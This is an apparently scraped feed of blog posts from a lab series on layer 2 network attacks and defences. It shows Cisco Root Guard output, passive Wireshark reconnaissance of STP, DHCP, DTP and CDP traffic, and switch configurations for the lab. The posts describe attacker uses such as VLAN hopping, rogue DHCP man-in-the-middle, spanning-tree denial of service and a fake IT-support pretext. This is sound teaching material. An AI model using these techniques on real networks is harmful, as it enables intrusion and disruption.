<span class="gt">*Oct 16 11:26:22.215: %SPANTREE-2-ROOTGUARD_CONFIG_CHANGE: Root guard enabled on port Ethernet0/2.</span>
<span class="gt">*Oct 16 11:26:22.215: %SPANTREE-2-ROOTGUARD_CONFIG_CHANGE: Root guard enabled on port Ethernet0/3.</span>
<span class="gt">*Oct 16 11:26:22.215: %SPANTREE-2-ROOTGUARD_CONFIG_CHANGE: Root guard enabled on port Ethernet1/0.</span>
<span class="gt">*Oct 16 11:26:22.215: %SPANTREE-2-ROOTGUARD_CONFIG_CHANGE: Root guard enabled on port Ethernet1/1.</span>
<span class="gp">IOU1(config-if-range)#</span>
<span class="gt">*Oct 16 11:26:22.216: %SPANTREE-2-ROOTGUARD_CONFIG_CHANGE: Root guard enabled on port Ethernet1/2.</span>
<span class="gt">*Oct 16 11:26:22.216: %SPANTREE-2-ROOTGUARD_CONFIG_CHANGE: Root guard enabled on port Ethernet1/3.</span>
<span class="gp">IOU1(config-if-range)#</span><span class="nb">end</span>
<span class="gp">IOU1#</span>
<span class="gt">*Oct 16 11:26:40.887: %SYS-5-CONFIG_I: Configured from console by console</span>
<span class="gp">IOU1#</span><span class="k">copy</span> running-config startup-config
<span class="go">Destination filename [startup-config]?</span>
<span class="go">Building configuration...</span>
<span class="go">Compressed configuration from 2110 bytes to 1160 bytes[OK]</span>
<span class="gp">IOU1#</span>
</pre></div>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>To disable Root Guard, use the command <code>spanning-tree guard none</code>.</p>
</div>
<p>Reproducing the attack now turns the affected port in root-inconsistent state
and has no effect anymore on <em>User_1</em> connectivity while isolating the
offender’s network until the end of the attack (for the sake of the exercise
ensure that you have <abbr title="Bridge Protocol Data Unit"><span class="caps">BPDU</span></abbr> Guard disabled when you try this!):</p>
<div class="codehilite"><pre><span class="gp">IOU1#</span>
<span class="gt">*Oct 16 11:30:45.588: %SPANTREE-2-ROOTGUARD_BLOCK: Root guard blocking port Ethernet1/1 on VLAN0001.</span>
<span class="gp">IOU1#</span>
<span class="gp">IOU1#</span><span class="k">show</span> spanning-tree vlan <span class="s">1</span>
<span class="go">VLAN0001</span>
<span class="go">Spanning tree enabled protocol ieee</span>
<span class="go">Root ID Priority 24577</span>
<span class="go"> Address aabb.cc00.0400</span>
<span class="go"> This bridge is the root</span>
<span class="go"> Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec</span>
<span class="go">Bridge ID Priority 24577 (priority 24576 sys-id-ext 1)</span>
<span class="go"> Address aabb.cc00.0400</span>
<span class="go"> Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec</span>
<span class="go"> Aging Time 300 sec</span>
<span class="go">Interface Role Sts Cost Prio.Nbr Type</span>
<span class="go">------------------- ---- --- --------- -------- --------------------------------</span>
<span class="go">Et0/0 Desg FWD 100 128.1 Shr</span>
<span class="go">Et0/1 Desg FWD 100 128.2 Shr</span>
<span class="go">Et0/2 Desg FWD 100 128.3 Shr</span>
<span class="go">Et0/3 Desg FWD 100 128.4 Shr</span>
<span class="go">Et1/0 Desg FWD 100 128.5 Shr</span>
<span class="hll"><span class="go">Et1/1 Desg BKN*100 128.6 Shr *ROOT_Inc</span>
</span><span class="go">Et1/2 Desg FWD 100 128.7 Shr</span>
<span class="go">Et1/3 Desg FWD 100 128.8 Shr</span>
<span class="gp">IOU1#</span>
</pre></div>
<p>Unlike with <abbr title="Bridge Protocol Data Unit"><span class="caps">BPDU</span></abbr> Guard, simply stopping the attack automatically restores the connectivity:</p>
<div class="codehilite"><pre><span class="gp">IOU1#</span>
<span class="gt">*Oct 16 11:40:40.657: %SPANTREE-2-ROOTGUARD_UNBLOCK: Root guard unblocking port Ethernet1/1 on VLAN0001.</span>
<span class="gp">IOU1#</span>
</pre></div>Practical network layer 2 exploitation: passive reconnaissance2017-10-12T00:00:00+02:002017-10-12T00:00:00+02:00WhiteWinterWolftag:www.whitewinterwolf.com,2017-10-12:/posts/2017/10/12/practical-network-layer-2-exploitation-passive-reconnaissance/<p>This post is part of a series about <a href="/tags/lab/#practical-network-layer-2-exploitation" title="Lab: Practical network layer 2 exploitation">practical network layer 2 exploitation</a>.</p>
<p>Now is the time to change your network administrator hat for the attacker one.
Your own, known network now becomes an unfamiliar target.</p>
<p>Before rushing and banging against the nearest devices, it may wiser to just
stand back and listen.</p>
<p>On switched networks, users are somewhat isolated from each other thanks to the
separation of collision domains.
All that remain is some kind white noise… but this white noise in itself can
bring invaluable information to an attacker!</p>
<p>In particular we will see how, simply by passively listening to this white
noise, an attacker will be able to detect several weaknesses affecting the
network and plan his next steps.</p>
<p>In this lab no interaction will occur with either the <em>Admins</em> or the <em>Servers</em>
<abbr title="Virtual Local Area Networks">VLANs</abbr>, the <em>User_1</em> workstation will be required only for the
<a href="#dhcp-discover-messages"><abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> Discover messages</a> part …</p><p>This post is part of a series about <a href="/tags/lab/#practical-network-layer-2-exploitation" title="Lab: Practical network layer 2 exploitation">practical network layer 2 exploitation</a>.</p>
<p>Now is the time to change your network administrator hat for the attacker one.
Your own, known network now becomes an unfamiliar target.</p>
<p>Before rushing and banging against the nearest devices, it may wiser to just
stand back and listen.</p>
<p>On switched networks, users are somewhat isolated from each other thanks to the
separation of collision domains.
All that remain is some kind white noise… but this white noise in itself can
bring invaluable information to an attacker!</p>
<p>In particular we will see how, simply by passively listening to this white
noise, an attacker will be able to detect several weaknesses affecting the
network and plan his next steps.</p>
<p>In this lab no interaction will occur with either the <em>Admins</em> or the <em>Servers</em>
<abbr title="Virtual Local Area Networks">VLANs</abbr>, the <em>User_1</em> workstation will be required only for the
<a href="#dhcp-discover-messages"><abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> Discover messages</a> part:</p>
<p><span class="lb-small"><a href="#topology.png" id="topology.png-thumb" title="Click to enlarge"><img alt="passive reconnaissance lab topology" src="https://www.whitewinterwolf.com/posts/2017/10/12/practical-network-layer-2-exploitation-passive-reconnaissance/topology.png"/></a></span></p>
<h3 id="stp-messages"><a class="toclink" href="#stp-messages"><abbr title="Spanning Tree Protocol"><span class="caps">STP</span></abbr> messages</a></h3>
<table class="floatright">
<thead>
<tr><th>Lab</th><th>Compatible</th></tr>
</thead>
<tbody>
<tr><td>Dynamips</td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
<tr><td><span class="caps">IOU</span></td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
<tr><td>Real gear</td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
</tbody>
</table>
<p>Now is the time to open a session on the <em>Attacker</em> host and fire-up
<a href="https://www.wireshark.org/" rel="external" title="Wireshark project homepage">Wireshark</a>.
As with most tool we will use in this post series, it requires a raw access to
the network devices and must therefore be run as root: this is not a problem
on some distributions like Kali where the whole desktop session is running as
root, on other you may need to start Wireshark through <code>sudo wireshark</code>.</p>
<p>Once Wireshark is up and listening on your main network interface in
promiscuous mode, you should already start to see mostly light-grey packets
regularly accumulating as the “white noise” mentioned earlier.</p>
<p>Most of these messages are <abbr title="Spanning Tree Protocol"><span class="caps">STP</span></abbr> messages, sent every few seconds by the
nearby switch:</p>
<p><span class="lb-small"><a href="#stp.png" id="stp.png-thumb" title="Click to enlarge"><img alt="STP messages" src="https://www.whitewinterwolf.com/posts/2017/10/12/practical-network-layer-2-exploitation-passive-reconnaissance/stp.png"/></a></span></p>
<p>These messages are sent in case we add another switch on our end
(in sane networks they should not be sent on access ports).
They are used to detect topology loops and build the most efficient forwarding
path between connected switches.</p>
<p>The presence of these messages means that we can start discussing with the
switch using the <abbr title="Spanning Tree Protocol"><span class="caps">STP</span></abbr> protocol, potentially inducing changes to the whole
spanning tree.</p>
<p>By themselves, this ability won’t allow us to do any really profitable attack
against the network.
However, in some cases it can provide us a valuable support to make other
attacks more effective:</p>
<ul>
<li>
<p>The attacker can become root of the <abbr title="Spanning Tree Protocol"><span class="caps">STP</span></abbr> tree, making the propagation of
malicious packets throughout the switched network more efficient.</p>
</li>
<li>
<p>The attacker can cause a temporary but renewable <abbr title="Denial of Service">DoS</abbr> disrupting
communication over the whole switched network or a <abbr title="Virtual Local Area Network"><span class="caps">VLAN</span></abbr> depending on the
network communication.
This can be used as:</p>
<ul>
<li>
<p>A part of a social engineering attack.
For instance a fake <span class="caps">IT</span> support guy calling an employee, notifying about
current network outages <em>“which have been detected”</em> and collecting
sensitive information <em>“for troubleshooting purposes”</em>.</p>
</li>
<li>
<p>A brutal way to paralyze a <abbr title="Virtual Local Area Network"><span class="caps">VLAN</span></abbr> or a network, for instance to
disrupts network and system management services while the actual attack
is going on.</p>
</li>
</ul>
</li>
</ul>
<h3 id="dhcp-discover-messages"><a class="toclink" href="#dhcp-discover-messages"><abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> Discover messages</a></h3>
<table class="floatright">
<thead>
<tr><th>Lab</th><th>Compatible</th></tr>
</thead>
<tbody>
<tr><td>Dynamips</td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
<tr><td><span class="caps">IOU</span></td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
<tr><td>Real gear</td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
</tbody>
</table>
<p>Start or restart the <em>User_1</em> host.
You should eventually see, among other things, a <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> Discover message popping
up in your Wireshark:</p>
<p><span class="lb-small"><a href="#dhcp-discover.png" id="dhcp-discover.png-thumb" title="Click to enlarge"><img alt="DHCP Discover" src="https://www.whitewinterwolf.com/posts/2017/10/12/practical-network-layer-2-exploitation-passive-reconnaissance/dhcp-discover.png"/></a></span></p>
<p>This is a good thing (from an attacker perspective) as this means that <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr>
snooping has not been enabled in the switches you are facing.
This give the attacker the ability to build a rogue <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> server, distributing
malicious <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> replies and opening the way to various <abbr title="Man-In-The-Middle"><span class="caps">MITM</span></abbr> attacks.</p>
<p>You can also take this occasion to note-down the <abbr title="Media Access Control"><span class="caps">MAC</span></abbr> address of the <em>User_1</em>
machine which appears as the message’s source (<em>Ethernet <span class="caps">II</span>, Src</em> field) address.</p>
<h3 id="dtp-messages"><a class="toclink" href="#dtp-messages"><abbr title="Dynamic Trunking Protocol"><span class="caps">DTP</span></abbr> messages</a></h3>
<table class="floatright">
<thead>
<tr><th>Lab</th><th>Compatible</th></tr>
</thead>
<tbody>
<tr><td>Dynamips</td><td class="no" title="No"><span class="sr-only">No</span></td></tr>
<tr><td><span class="caps">IOU</span></td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
<tr><td>Real gear</td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
</tbody>
</table>
<p>About every minute, you may encounter a <abbr title="Dynamic Trunking Protocol"><span class="caps">DTP</span></abbr> message:</p>
<p><span class="lb-small"><a href="#dtp.png" id="dtp.png-thumb" title="Click to enlarge"><img alt="DTP messages" src="https://www.whitewinterwolf.com/posts/2017/10/12/practical-network-layer-2-exploitation-passive-reconnaissance/dtp.png"/></a></span></p>
<p>This is your lucky day.</p>
<p>This protocol allows plug-and-play auto-configuration of Cisco switches.</p>
<p>At the low-end, from a purely passive perspective we can see that <abbr title="Dynamic Trunking Protocol"><span class="caps">DTP</span></abbr> packets
disclose a lot of information regarding the switch configuration, including the
<abbr title="VLAN Trunk Protocol"><span class="caps">VTP</span></abbr> domain name, the native <abbr title="Virtual Local Area Network"><span class="caps">VLAN</span></abbr> number and the switch port status.</p>
<p>But above all, this opens the most devastating attack we will see in this
series as actively engaging in the <abbr title="Dynamic Trunking Protocol"><span class="caps">DTP</span></abbr> communication opens the way to <abbr title="Virtual Local Area Network"><span class="caps">VLAN</span></abbr> hopping.</p>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>The <abbr title="Dynamic Trunking Protocol"><span class="caps">DTP</span></abbr> packets, as the <abbr title="Cisco Discovery Protocol"><span class="caps">CDP</span></abbr> ones we will see <a href="#cdp-messages">below</a>, leak
the native <abbr title="Virtual Local Area Network"><span class="caps">VLAN</span></abbr> information which happens to be the same as the <em>Users</em>
<abbr title="Virtual Local Area Network"><span class="caps">VLAN</span></abbr> in our lab where the attacker is located.</p>
<p>This is usually documented as a security weakness also allowing <abbr title="Virtual Local Area Network"><span class="caps">VLAN</span></abbr>
hopping through <a href="https://en.wikipedia.org/wiki/VLAN_hopping#Double_tagging" rel="external" title="VLAN hopping: double-tagging (Wikipedia)">double-tagging</a>, however Cisco switches do not seem
vulnerable to this attack as they correctly drop 802.1Q packets coming on
non-trunk ports.</p>
<p>Moreover, even on vulnerable devices the range of this paticualr attack is
somewhat limited as it allows only one-way communication (still useful for
things like malicious <span class="caps">UDP</span> notifications though).
As we will see, <abbr title="Dynamic Trunking Protocol"><span class="caps">DTP</span></abbr>-based <abbr title="Virtual Local Area Network"><span class="caps">VLAN</span></abbr> hopping doesn’t have this limitation.</p>
</div>
<h3 id="cdp-messages"><a class="toclink" href="#cdp-messages"><abbr title="Cisco Discovery Protocol"><span class="caps">CDP</span></abbr> messages</a></h3>
<table class="floatright">
<thead>
<tr><th>Lab</th><th>Compatible</th></tr>
</thead>
<tbody>
<tr><td>Dynamips</td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
<tr><td><span class="caps">IOU</span></td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
<tr><td>Real gear</td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
</tbody>
</table>
<p>At last, about every minute you may also encounter a <abbr title="Cisco Discovery Protocol"><span class="caps">CDP</span></abbr> message:</p>
<p><span class="lb-small"><a href="#cdp.png" id="cdp.png-thumb" title="Click to enlarge"><img alt="CDP messages" src="https://www.whitewinterwolf.com/posts/2017/10/12/practical-network-layer-2-exploitation-passive-reconnaissance/cdp.png"/></a></span></p>
<p>These messages allow a Cisco device to share some technical details with other
directly connected devices.
This protocol is used by several Cisco proprietary features, such as:</p>
<ul>
<li>
<p>Cisco Neighbor Discovery: each device stores a table fetchable through <span class="caps">SNMP</span>
containing their neighbors information.</p>
</li>
<li>
<p>Lowering power delivered through <abbr title="Power-over-Ethernet">PoE</abbr> ports: a Cisco device
(like an <span class="caps">IP</span> phone) can use this to inform the <abbr title="Power-over-Ethernet">PoE</abbr> switch it is connected to
that it requires only 9 W instead of the default 15.4 W, thus lowering the
switch’s global energy consumption.
<a href="https://www.cisco.com/c/en/us/td/docs/switches/lan/catalyst3750/software/troubleshooting/g_power_over_ethernet.html?mdfid=281204560#wp1017625" rel="external" title="Cisco Discovery Protocol and PoE (Cisco)">More information</a>.</p>
</li>
<li>
<p>On-Demand routing (<abbr title="On-Demand Routing"><span class="caps">ODR</span></abbr>): this is a Cisco proprietary intermediary solution
between static and dynamic routing.
It can be used in hub and spoke topologies, the spoke routers using <abbr title="Cisco Discovery Protocol"><span class="caps">CDP</span></abbr> to
notify the hub router of their ports <span class="caps">IP</span> address prefixes, thus allowing a
hub router with <abbr title="On-Demand Routing"><span class="caps">ODR</span></abbr> enabled to update its routing table accordingly.
<a href="https://www.youtube.com/watch?v=zgRjN7nfyXU" rel="external" title="On-Demand routing aka ODR - Cisco Router Configuration - CCNP Route (youTube)">More information</a>.</p>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>In <abbr title="On-Demand Routing"><span class="caps">ODR</span></abbr>, the “routing” communication occurs only between the spoke and
hub routers.
Unless you do lousy things such as connecting end-users directly to the
infrastructure switches, it is out of attackers direct reach.</p>
</div>
</li>
</ul>
<p><abbr title="Cisco Discovery Protocol"><span class="caps">CDP</span></abbr> packets are usually not directly exploitable with a notable exception.</p>
<p>Unlike normal network traffic which is not parsed but immediately forwarded
through <abbr title="Application-Specific Integrated Circuits">ASICs</abbr> (see <a href="/posts/2017/08/19/how-to-add-cisco-ios-based-devices-in-gns3/#how-real-gear-works" title="IOS based devices: How real gear works">here</a> for more information), <abbr title="Cisco Discovery Protocol"><span class="caps">CDP</span></abbr> messages content
needs to be parsed by the device’s general purpose <span class="caps">CPU</span>.
Would a <a href="https://tools.cisco.com/security/center/viewAlert.x?alertId=29021" rel="external" title="Multiple Cisco Discovery Protocol Vulnerabilities in Cisco NX-OS-Based Products (Cisco)">a bug</a> be present in the parsing software an attacker may be
able to send specially crafted packets and execute arbitrary code on a
near-by device.</p>
<p>This particular attack is out-of-scope of this series.
We will just notice that <abbr title="Cisco Discovery Protocol"><span class="caps">CDP</span></abbr> messages are extremely verbose when it comes to
devices details, providing:</p>
<ul>
<li>
<p>Detailed information on the platform and firmware version being run (here
a Cisco 3725 box running the C3725-<span class="caps">ADVENTERPRISEK9</span>-M firmware, version
12.4(15)T10, compiled Mon 14-Sep-09 15:33 by prod-rel_team).
Such information can be matched against vulnerability databases to reveal
exploitable software bugs such as the example mentioned above.</p>
</li>
<li>
<p>Details regarding the device configuration, including interface addresses,
<abbr title="VLAN Trunk Protocol"><span class="caps">VTP</span></abbr> domain name, the native <abbr title="Virtual Local Area Network"><span class="caps">VLAN</span></abbr> number and the device name.
Such information may potentially be reused in other attacks or aggregated
in order to gain knowledge on the network general design and implementation.</p>
</li>
</ul>Practical network layer 2 exploitation: introduction2017-10-10T00:00:00+02:002017-10-10T00:00:00+02:00WhiteWinterWolftag:www.whitewinterwolf.com,2017-10-10:/posts/2017/10/10/practical-network-layer-2-exploitation-introduction/<p>This post initiates a series demonstrating network layer 2 exploitation
and protection techniques from practical point-of-view.</p>
<p>This series will rely on the following topology (click to enlarge):</p>
<p><span class="lb-small"><img alt="Layer 2 exploitation lab topology" src="https://www.whitewinterwolf.com/posts/2017/10/10/practical-network-layer-2-exploitation-introduction/topology.png"/></span></p>
<p>This topology is composed of three VLANs:</p>
<ul>
<li><em>Users</em> (<abbr title="Virtual Local Area Network"><span class="caps">VLAN</span></abbr> 1) and <em>Admins</em> (<abbr title="Virtual Local Area Network"><span class="caps">VLAN</span></abbr> 2) both contain end-user workstations,
they are isolated from each other.</li>
<li>Both can access machines located in <em>Servers</em> (<abbr title="Virtual Local Area Network"><span class="caps">VLAN</span></abbr> 3).</li>
</ul>
<p>The attacker is connected to the <em>Users</em> <abbr title="Virtual Local Area Network"><span class="caps">VLAN</span></abbr>.</p>
<p>In this series we will see how the attacker can leverage various layer 2
configuration weaknesses to disrupt the network, hop from one <abbr title="Virtual Local Area Network"><span class="caps">VLAN</span></abbr> to another,
and intercept users communication, independently of their location in the topology.</p>
<p>We will limit ourselves to basic techniques as an attempt to
demonstrate that pwning a insufficiently secured network doesn’t involve any
high technology or knowledge.
When appropriate we will also see how the attacks can be generalized to other
real-life scenarios.</p>
<h3>Creating the topology …</h3><p>This post initiates a series demonstrating network layer 2 exploitation
and protection techniques from practical point-of-view.</p>
<p>This series will rely on the following topology (click to enlarge):</p>
<p><span class="lb-small"><a href="#topology.png" id="topology.png-thumb" title="Click to enlarge"><img alt="Layer 2 exploitation lab topology" src="https://www.whitewinterwolf.com/posts/2017/10/10/practical-network-layer-2-exploitation-introduction/topology.png"/></a></span></p>
<p>This topology is composed of three VLANs:</p>
<ul>
<li><em>Users</em> (<abbr title="Virtual Local Area Network"><span class="caps">VLAN</span></abbr> 1) and <em>Admins</em> (<abbr title="Virtual Local Area Network"><span class="caps">VLAN</span></abbr> 2) both contain end-user workstations,
they are isolated from each other.</li>
<li>Both can access machines located in <em>Servers</em> (<abbr title="Virtual Local Area Network"><span class="caps">VLAN</span></abbr> 3).</li>
</ul>
<p>The attacker is connected to the <em>Users</em> <abbr title="Virtual Local Area Network"><span class="caps">VLAN</span></abbr>.</p>
<p>In this series we will see how the attacker can leverage various layer 2
configuration weaknesses to disrupt the network, hop from one <abbr title="Virtual Local Area Network"><span class="caps">VLAN</span></abbr> to another,
and intercept users communication, independently of their location in the topology.</p>
<p>We will limit ourselves to basic techniques as an attempt to
demonstrate that pwning a insufficiently secured network doesn’t involve any
high technology or knowledge.
When appropriate we will also see how the attacks can be generalized to other
real-life scenarios.</p>
<h3 id="creating-the-topology"><a class="toclink" href="#creating-the-topology">Creating the topology</a></h3>
<p>This topology can be implemented using virtual machines and/or real gears.</p>
<h4 id="virtual-lab"><a class="toclink" href="#virtual-lab">Virtual lab</a></h4>
<p>On my side I use <span class="caps">GNS3</span> to easily build such infrastructure without having to
worry about the multiple issues which come with real gear (availability,
space, etc.).</p>
<p>For more information on how to setup the devices in a virtual lab, you
may want to check the various tutorials available in <a href="https://www.whitewinterwolf.com/tags/lab/" rel="tag" title="View articles tagged 'lab'">lab</a> section.</p>
<p>I recommend to build two versions of the same topology:</p>
<ul>
<li>
<p>One using Dynamips virtualized routers to act as the switches.</p>
</li>
<li>
<p>The other one using <span class="caps">IOU</span> emulated switches.</p>
<div class="admonition warning">
<p class="admonition-title">Warning</p>
<p>As <span class="caps">IOU</span> (sadly!) doesn’t tolerate loops in the topology, you will have to
remove the link between <span class="caps">ESW2</span> and <span class="caps">ESW3</span> in your <span class="caps">IOU</span>-based topology:</p>
<p><span class="lb-small"><a href="#esw2-esw3_remove.png" id="esw2-esw3_remove.png-thumb" title="Click to enlarge"><img alt="Remove the link between ESW2 and ESW3" src="https://www.whitewinterwolf.com/posts/2017/10/10/practical-network-layer-2-exploitation-introduction/esw2-esw3_remove.png"/></a></span></p>
<p>If you don’t do this, as soon as one of the end-device sends an <span class="caps">ARP</span>
broadcast the <span class="caps">IOU</span> devices will enter in a broadcast storm and consume
100% of your <span class="caps">CPU</span>.</p>
</div>
</li>
</ul>
<p>The other component will remain the same in both topology versions.</p>
<p>Due to the limitation of each solution, some attacks or mitigation techniques
will be possible only in one version of the lab.
I will mention the compatible version throughout the posts series.</p>
<h4 id="real-gears"><a class="toclink" href="#real-gears">Real gears</a></h4>
<p>Using real gears is the most perfect solution to reproduce real-world
environments.
You can rely on the <span class="caps">IOU</span> switches configuration commands taking advantage of <span class="caps">DTP</span>
and adapt them to your hardware.</p>
<p>If you are short of devices, you won’t need the complete topology to be
available at any given time.
I will indicate the required devices at the beginning of each post so you can
focus on the devices required for each part.</p>
<p>Moreover, <em><span class="caps">ESW2</span></em> and <em><span class="caps">ESW3</span></em> switches can be merged into a single switch without
any major impact.
If possible however, I recommend to keep them both with the redundant link
between them to get the most value out these labs.</p>
<h3 id="setting-up-devices"><a class="toclink" href="#setting-up-devices">Setting up devices</a></h3>
<h4 id="iou-based-ethernet-switches"><a class="toclink" href="#iou-based-ethernet-switches"><span class="caps">IOU</span>-based ethernet switches</a></h4>
<p>The following commands apply to switches emulated using <span class="caps">IOU</span>.
They can also be used with real gear.</p>
<p><span class="caps">ESW1</span> is the core switch:</p>
<ul>
<li>All its interfaces are in trunk mode.</li>
<li>It is explicitly set as the <span class="caps">STP</span> primary root on all VLANs.</li>
</ul>
<p><span class="lb-small floatright"><a href="#esw1_iou.png" id="esw1_iou.png-thumb" title="Click to enlarge"><img alt="ESW1 ethernet switch" src="https://www.whitewinterwolf.com/posts/2017/10/10/practical-network-layer-2-exploitation-introduction/esw1_iou.png"/></a></span>
<span class="caps">ESW1</span> configuration (<span class="caps">IOU</span> version):</p>
<div class="hilitewrapper"><table class="codehilitetable"><tr><td class="linenos"><div class="linenodiv"><pre> 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15</pre></div></td><td class="code"><div class="codehilite"><pre><span class="k">conf</span> t
<span class="k">interface</span> range<span class="s"> ethernet 0/0, ethernet 1/0 - 3</span>
<span class="k">switchport</span> trunk encapsulation dot1q
<span class="k">switchport</span> mode trunk
<span class="nb">exit</span>
<span class="k">vtp </span>domain <span class="nv">WWWOLF</span>
<span class="k">vlan</span> <span class="s">2</span>
<span class="k">name </span><span class="nv">admins</span>
<span class="nb">exit</span>
<span class="k">vlan</span> <span class="s">3</span>
<span class="k">name </span><span class="nv">servers</span>
<span class="nb">exit</span>
<span class="k">spanning-tree</span> vlan <span class="s">1-3</span> root primary
<span class="nb">end</span>
<span class="k">copy</span> running-config startup-config
</pre></div>
</td></tr></table></div>
<p><span class="lb-small floatright"><a href="#esw2_esw3_iou.png" id="esw2_esw3_iou.png-thumb" title="Click to enlarge"><img alt="ESW2 and ESW3 ethernet switches (IOU version)" src="https://www.whitewinterwolf.com/posts/2017/10/10/practical-network-layer-2-exploitation-introduction/esw2_esw3_iou.png"/></a></span>
<span class="caps">ESW2</span> and <span class="caps">ESW3</span> configure themselves automatically thanks to the <span class="caps">DTP</span> protocol (plug-and-play).</p>
<div class="admonition warning">
<p class="admonition-title">Warning</p>
<p>When using <span class="caps">IOU</span>, don’t forget to remove the direct link between <span class="caps">ESW2</span> and
<span class="caps">ESW3</span>.</p>
<p>This warning does not apply for real gear.</p>
</div>
<p><span class="caps">SW4</span> and <span class="caps">SW5</span> provide access to their own <abbr title="Virtual Local Area Network"><span class="caps">VLAN</span></abbr>:</p>
<ul>
<li>
<p><span class="lb-small floatright"><a href="#esw4_iou.png" id="esw4_iou.png-thumb" title="Click to enlarge"><img alt="ESW4 ethernet swtich" src="https://www.whitewinterwolf.com/posts/2017/10/10/practical-network-layer-2-exploitation-introduction/esw4_iou.png"/></a></span>
<span class="caps">SW4</span> configuration (<span class="caps">IOU</span> version):</p>
<div class="hilitewrapper"><table class="codehilitetable"><tr><td class="linenos"><div class="linenodiv"><pre>1
2
3
4
5</pre></div></td><td class="code"><div class="codehilite"><pre><span class="k">conf</span> t
<span class="k">interface</span> range<span class="s"> ethernet 1/0 - 3</span>
<span class="k">switchport</span> access vlan <span class="s">2</span>
<span class="nb">end</span>
<span class="k">copy</span> running-config startup-config
</pre></div>
</td></tr></table></div>
</li>
<li>
<p><span class="lb-small floatright"><a href="#esw5_iou.png" id="esw5_iou.png-thumb" title="Click to enlarge"><img alt="ESW5 ethernet swtich" src="https://www.whitewinterwolf.com/posts/2017/10/10/practical-network-layer-2-exploitation-introduction/esw5_iou.png"/></a></span>
<span class="caps">SW5</span> configuration (<span class="caps">IOU</span> version):</p>
<div class="hilitewrapper"><table class="codehilitetable"><tr><td class="linenos"><div class="linenodiv"><pre>1
2
3
4
5</pre></div></td><td class="code"><div class="codehilite"><pre><span class="k">conf</span> t
<span class="k">interface</span> range<span class="s"> ethernet 1/0 - 3</span>
<span class="k">switchport</span> access vlan <span class="s">3</span>
<span class="nb">end</span>
<span class="k">copy</span> running-config startup-config
</pre></div>
</td></tr></table></div>
</li>
</ul>
<h4 id="router-based-ethernet-switches"><a class="toclink" href="#router-based-ethernet-switches">Router-based ethernet switches</a></h4>
<p>The following commands apply to c3725/c3745 routers equipped with an
EtherSwitch module to emulate switch devices.</p>
<p><span class="caps">ESW1</span> is the core switch:</p>
<ul>
<li>All its interfaces are in trunk mode.</li>
<li>It is explicitly set as the <span class="caps">STP</span> primary root on all VLANs.</li>
</ul>
<p><span class="lb-small floatright"><a href="#esw1.png" id="esw1.png-thumb" title="Click to enlarge"><img alt="ESW1 ethernet swtich" src="https://www.whitewinterwolf.com/posts/2017/10/10/practical-network-layer-2-exploitation-introduction/esw1.png"/></a></span>
<span class="caps">SW1</span> configuration (router-based version):</p>
<div class="hilitewrapper"><table class="codehilitetable"><tr><td class="linenos"><div class="linenodiv"><pre> 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17</pre></div></td><td class="code"><div class="codehilite"><pre><span class="k">conf</span> t
<span class="k">interface</span> range<span class="s"> fastEthernet 1/0 - 4</span>
<span class="k">switchport</span> trunk encapsulation dot1q
<span class="k">switchport</span> mode trunk
<span class="nb">exit</span>
<span class="k">vtp </span>domain <span class="nv">WWWOLF</span>
<span class="k">vlan</span> <span class="s">2</span>
<span class="k">name </span><span class="nv">admins</span>
<span class="nb">exit</span>
<span class="k">vlan</span> <span class="s">3</span>
<span class="k">name </span><span class="nv">servers</span>
<span class="nb">exit</span>
<span class="k">spanning-tree</span> vlan <span class="s">1</span> root primary
<span class="k">spanning-tree</span> vlan <span class="s">2</span> root primary
<span class="k">spanning-tree</span> vlan <span class="s">3</span> root primary
<span class="nb">end</span>
<span class="k">copy</span> running-config startup-config
</pre></div>
</td></tr></table></div>
<p>With real Catalyst switches and <span class="caps">IOU</span>-based ones, <span class="caps">ESW2</span> and <span class="caps">ESW3</span> work by default
thanks to the <span class="caps">DTP</span> protocol.
Router-based ethernet switches however do not support <span class="caps">DTP</span> (security-wise it is
better that way…), so we need to configure them manually:</p>
<p><span class="lb-small floatright"><a href="#esw2_esw3.png" id="esw2_esw3.png-thumb" title="Click to enlarge"><img alt="ESW2 and ESW3 ethernet switches" src="https://www.whitewinterwolf.com/posts/2017/10/10/practical-network-layer-2-exploitation-introduction/esw2_esw3.png"/></a></span>
<span class="caps">ESW2</span> and <span class="caps">ESW3</span> configuration (router-based version):</p>
<div class="hilitewrapper"><table class="codehilitetable"><tr><td class="linenos"><div class="linenodiv"><pre>1
2
3
4
5
6
7</pre></div></td><td class="code"><div class="codehilite"><pre><span class="k">conf</span> t
<span class="k">vtp</span> mode client
<span class="k">interface</span> range<span class="s"> fastEthernet 1/0 - 1</span>
<span class="k">switchport</span> trunk encapsulation dot1q
<span class="k">switchport</span> mode trunk
<span class="nb">end</span>
<span class="k">copy</span> running-config startup-config
</pre></div>
</td></tr></table></div>
<p><span class="caps">ESW4</span> and <span class="caps">ESW5</span> provide access to their own <abbr title="Virtual Local Area Network"><span class="caps">VLAN</span></abbr> (and the trunk port needs to be
manually configured still due to the lack of <span class="caps">DTP</span>):</p>
<ul>
<li>
